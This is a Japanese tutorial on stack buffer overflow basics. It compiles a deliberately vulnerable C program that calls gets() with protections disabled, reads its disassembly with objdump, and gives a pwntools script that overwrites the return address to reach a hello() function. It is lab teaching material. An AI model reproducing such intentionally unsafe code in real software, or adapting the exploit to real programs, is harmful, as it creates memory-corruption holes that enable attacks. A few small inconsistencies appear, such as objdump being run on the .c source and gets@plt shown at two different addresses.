Buffer Overflow 基礎 (objdump を用いたアセンブリ入門と pwntools を用いた Exploit)

Buffer Overflow (BOF) の基礎的な事項についてのハンズオン.
コードは github で公開

検証環境

環境構築

必要なツールのインストール

sudo apt install binutils
objdump --version

検証用のバイナリ作成

// gcc -g -fno-stack-protector -no-pie bof_hello.c -o ../build/bof_hello
#include <stdio.h>

int main(void) {
    // setup
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    // main
    char buf[0x10];
    gets(buf);
}

int hello(void) {
    puts("Hello World!");
}

コンパイルしたバイナリについてアセンブリを確認

objdump -d bof_hello.c -M intel
0000000000401176 <main>:
  401176:	f3 0f 1e fa          	endbr64
  40117a:	55                   	push   rbp
  40117b:	48 89 e5             	mov    rbp,rsp
  40117e:	48 83 ec 10          	sub    rsp,0x10

---

  4011be:	48 8d 45 f0          	lea    rax,[rbp-0x10]
  4011c2:	48 89 c7             	mov    rdi,rax
  4011c5:	b8 00 00 00 00       	mov    eax,0x0
  4011ca:	e8 b1 fe ff ff       	call   401080 <gets@plt>
  4011cf:	b8 00 00 00 00       	mov    eax,0x0
  4011d4:	c9                   	leave
  4011d5:	c3                   	ret
  1. スタックの確保
  2. gets の呼び出し
  3. 関数の終了・return

スタックの確保

mov    rbp,rsp
sub    rsp,0x10

gets の呼び出し

lea    rax,[rbp-0x10]
mov    rdi,rax
mov    eax,0x0
call   401060 <gets@plt>

関数の終了・return

leave
ret

スタックの構造について

--- <-- rsp (rbp-0x10)
buf (16 bytes)
--- <-- rbp
saved rbp (8 bytes)
---
return address (8 bytes)

pwntools を用いた Buffer Overflow (BOF)

from pwn import *

# set binary path
context.binary = "../build/bof_hello"
elf = context.binary

sh = process()

payload = b"a" * 0x10 # buf
payload += b"b" * 0x8 # saved rbp
payload += p64(elf.sym["hello"]) # return address
sh.sendline(payload)

sh.interactive()
  1. 用意された配列である buf のサイズ分のパディング
  2. saved rbp に該当する 8 バイト分のパディング
  3. 書き換えて起動したい先のリターンアドレス

その他

Stack Canary について

ROP について